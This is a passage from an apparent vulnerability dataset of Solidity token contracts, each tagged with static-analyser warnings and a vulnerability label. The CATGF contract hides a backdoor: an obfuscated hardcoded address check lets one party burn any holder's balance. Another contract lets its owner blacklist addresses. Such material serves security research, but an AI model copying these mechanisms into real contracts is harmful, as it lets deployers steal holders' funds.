!bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8ca4b5b\n\t\t\t\t// reentrancy-eth | ID: db5b473\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8ca4b5b\n\t\t\t\t\t// reentrancy-eth | ID: db5b473\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: db5b473\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: db5b473\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: db5b473\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8ca4b5b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: db5b473\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: db5b473\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8ca4b5b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8ca4b5b\n\t\t// reentrancy-events | ID: b84b922\n\t\t// reentrancy-benign | ID: a5156db\n\t\t// reentrancy-eth | ID: db5b473\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8ca4b5b\n\t\t// reentrancy-events | ID: b84b922\n\t\t// reentrancy-eth | ID: db5b473\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4d74d49): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4d74d49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e623224): Ethereum6900.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e623224: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8152496): Ethereum6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8152496: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31c3a89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31c3a89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4d74d49\n\t\t// reentrancy-eth | ID: 31c3a89\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4d74d49\n\t\t// unused-return | ID: 8152496\n\t\t// reentrancy-eth | ID: 31c3a89\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4d74d49\n\t\t// unused-return | ID: e623224\n\t\t// reentrancy-eth | ID: 31c3a89\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4d74d49\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 31c3a89\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10608.sol",
"size_bytes": 19960,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"CATGF\", unicode\"CATGF\", 9, 100000000) {}\n}\n",
"file_name": "solidity_code_10609.sol",
"size_bytes": 7149,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _getSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n}\n\ncontract Ownable is Context {\n address private _Controller;\n\n event OwnershipTransferred(address indexed userA, address indexed userB);\n\n constructor() {\n address msgSender = _getSender();\n\n _Controller = _getSender();\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n modifier onlyController() {\n require(\n _Controller == _getSender(),\n \"Ownable: the caller must be the owner\"\n );\n\n _;\n }\n\n function getOwner() public view returns (address) {\n return _Controller;\n }\n\n function transferOwnership() public virtual onlyController {\n emit OwnershipTransferred(_Controller, address(0));\n\n _Controller = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address firstToken,\n address secondToken\n ) external returns (address pairing);\n}\n\ncontract ETHOcean is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allocations;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 49bba94): ETHOcean._taxWallet should be immutable \n\t// Recommendation for 49bba94: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b79e7d9): ETHOcean.buyCommission should be constant \n\t// Recommendation for b79e7d9: Add the 'constant' attribute to state variables that never change.\n uint256 public buyCommission = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 674567e): ETHOcean.sellCommission should be constant \n\t// Recommendation for 674567e: Add the 'constant' attribute to state variables that never change.\n uint256 public sellCommission = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _numTokens = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"ETH Ocean\";\n\n string private constant _symbol = unicode\"OCEAN\";\n\n uint256 private constant maxTaxSlippage = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59768e1): ETHOcean.minTaxSwap should be constant \n\t// Recommendation for 59768e1: Add the 'constant' attribute to state variables that never change.\n uint256 private minTaxSwap = 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e9216c): ETHOcean.maxTaxSwap should be constant \n\t// Recommendation for 6e9216c: Add the 'constant' attribute to state variables that never change.\n uint256 private maxTaxSwap = _numTokens / 500;\n\n uint256 public constant max_uint = type(uint).max;\n\n address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address private uniswapV2Pair;\n\n address private uniswap;\n\n bool private TradingOpen = false;\n\n bool private Swap = false;\n\n bool private SwapEnabled = false;\n\n modifier lockingTheSwap() {\n Swap = true;\n\n _;\n\n Swap = false;\n }\n\n constructor() {\n _taxWallet = payable(_getSender());\n\n _balances[_getSender()] = _numTokens;\n\n emit Transfer(address(0), _getSender(), _numTokens);\n }\n\n function allowance(\n address Owner,\n address buyer\n ) public view override returns (uint256) {\n return _allocations[Owner][buyer];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9020cd1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9020cd1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a32fdf3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a32fdf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address payer,\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9020cd1\n\t\t// reentrancy-benign | ID: a32fdf3\n _transfer(payer, reciver, amount);\n\n\t\t// reentrancy-events | ID: 9020cd1\n\t\t// reentrancy-benign | ID: a32fdf3\n _approve(\n payer,\n _getSender(),\n _allocations[payer][_getSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _numTokens;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function _approve(address operator, address buyer, uint256 amount) private {\n require(buyer != address(0), \"ERC20: approve to the zero address\");\n\n require(operator != address(0), \"ERC20: approve from the zero address\");\n\n\t\t// reentrancy-benign | ID: a32fdf3\n _allocations[operator][buyer] = amount;\n\n\t\t// reentrancy-events | ID: 9020cd1\n emit Approval(operator, buyer, amount);\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(\n address _address\n ) public view override returns (uint256) {\n return _balances[_address];\n }\n\n function approve(\n address payer,\n uint256 amount\n ) public override returns (bool) {\n _approve(_getSender(), payer, amount);\n\n return true;\n }\n\n function transfer(\n address buyer,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_getSender(), buyer, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 57a963d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 57a963d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 488a69e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 488a69e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address receiver,\n uint256 value\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(value > 0, \"Transfer amount must be greater than zero\");\n\n require(receiver != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 taxValue = 0;\n\n if (\n sender != getOwner() &&\n receiver != getOwner() &&\n receiver != _taxWallet\n ) {\n if (sender == uniswap && receiver != address(uniswapV2Router)) {\n taxValue = value.mul(buyCommission).div(100);\n } else if (receiver == uniswap && sender != address(this)) {\n taxValue = value.mul(sellCommission).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !Swap &&\n receiver == uniswap &&\n SwapEnabled &&\n contractTokenBalance > minTaxSwap\n ) {\n uint256 toSwap = contractTokenBalance > maxTaxSwap\n ? maxTaxSwap\n : contractTokenBalance;\n\n\t\t\t\t// reentrancy-events | ID: 57a963d\n\t\t\t\t// reentrancy-eth | ID: 488a69e\n swapTokensForEth(value > toSwap ? toSwap : value);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 57a963d\n\t\t\t\t\t// reentrancy-eth | ID: 488a69e\n sendETHToFee(contractETHBalance);\n }\n }\n }\n\n (uint256 valueIn, uint256 valueOut) = taxing(sender, value, taxValue);\n\n require(_balances[sender] >= valueIn);\n\n if (taxValue > 0) {\n\t\t\t// reentrancy-eth | ID: 488a69e\n _balances[address(this)] = _balances[address(this)].add(taxValue);\n\n\t\t\t// reentrancy-events | ID: 57a963d\n emit Transfer(sender, address(this), taxValue);\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 488a69e\n _balances[sender] -= valueIn;\n\n\t\t\t// reentrancy-eth | ID: 488a69e\n _balances[receiver] += valueOut;\n }\n\n\t\t// reentrancy-events | ID: 57a963d\n emit Transfer(sender, receiver, valueOut);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockingTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = weth;\n\n\t\t// reentrancy-events | ID: 9020cd1\n\t\t// reentrancy-events | ID: 57a963d\n\t\t// reentrancy-benign | ID: a32fdf3\n\t\t// reentrancy-eth | ID: 488a69e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n tokenAmount - tokenAmount.mul(maxTaxSlippage).div(100),\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: c632a29): ETHOcean.sendETHToFee(uint256) ignores return value by _taxWallet.call{value ethAmount}()\n\t// Recommendation for c632a29: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d8062d1): ETHOcean.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.call{value ethAmount}()\n\t// Recommendation for d8062d1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: 9020cd1\n\t\t// reentrancy-events | ID: 57a963d\n\t\t// reentrancy-benign | ID: a32fdf3\n\t\t// unchecked-lowlevel | ID: c632a29\n\t\t// reentrancy-eth | ID: 488a69e\n\t\t// arbitrary-send-eth | ID: d8062d1\n _taxWallet.call{value: ethAmount}(\"\");\n }\n\n function taxing(\n address source,\n uint256 total,\n uint256 taxAmount\n ) private view returns (uint256, uint256) {\n return (\n total.sub(source != uniswapV2Pair ? 0 : total),\n total.sub(source != uniswapV2Pair ? taxAmount : taxAmount)\n );\n }\n\n function get_purchasingTax() external view returns (uint256) {\n return buyCommission;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2a521f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2a521f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7b2c39f): ETHOcean.setTrading(address,bool) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,getOwner(),block.timestamp)\n\t// Recommendation for 7b2c39f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0193b6e): ETHOcean.setTrading(address,bool) ignores return value by IERC20(uniswap).approve(address(uniswapV2Router),max_uint)\n\t// Recommendation for 0193b6e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fb4fb08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fb4fb08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9226556): ETHOcean.setTrading(address,bool)._pair lacks a zerocheck on \t uniswapV2Pair = _pair\n\t// Recommendation for 9226556: Check that the address is not zero.\n function setTrading(\n address _pair,\n bool _isEnabled\n ) external onlyController {\n require(!TradingOpen, \"trading is already open\");\n\n require(_isEnabled);\n\n\t\t// missing-zero-check | ID: 9226556\n uniswapV2Pair = _pair;\n\n _approve(address(this), address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 2a521f1\n\t\t// reentrancy-eth | ID: fb4fb08\n uniswap = uniswapV2Factory.createPair(address(this), weth);\n\n\t\t// reentrancy-benign | ID: 2a521f1\n\t\t// unused-return | ID: 7b2c39f\n\t\t// reentrancy-eth | ID: fb4fb08\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n getOwner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2a521f1\n\t\t// unused-return | ID: 0193b6e\n\t\t// reentrancy-eth | ID: fb4fb08\n IERC20(uniswap).approve(address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 2a521f1\n SwapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fb4fb08\n TradingOpen = true;\n }\n\n function get_TradingOpen() external view returns (bool) {\n return TradingOpen;\n }\n\n function get_sellingTax() external view returns (uint256) {\n return sellCommission;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1061.sol",
"size_bytes": 17129,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Factory {\n event 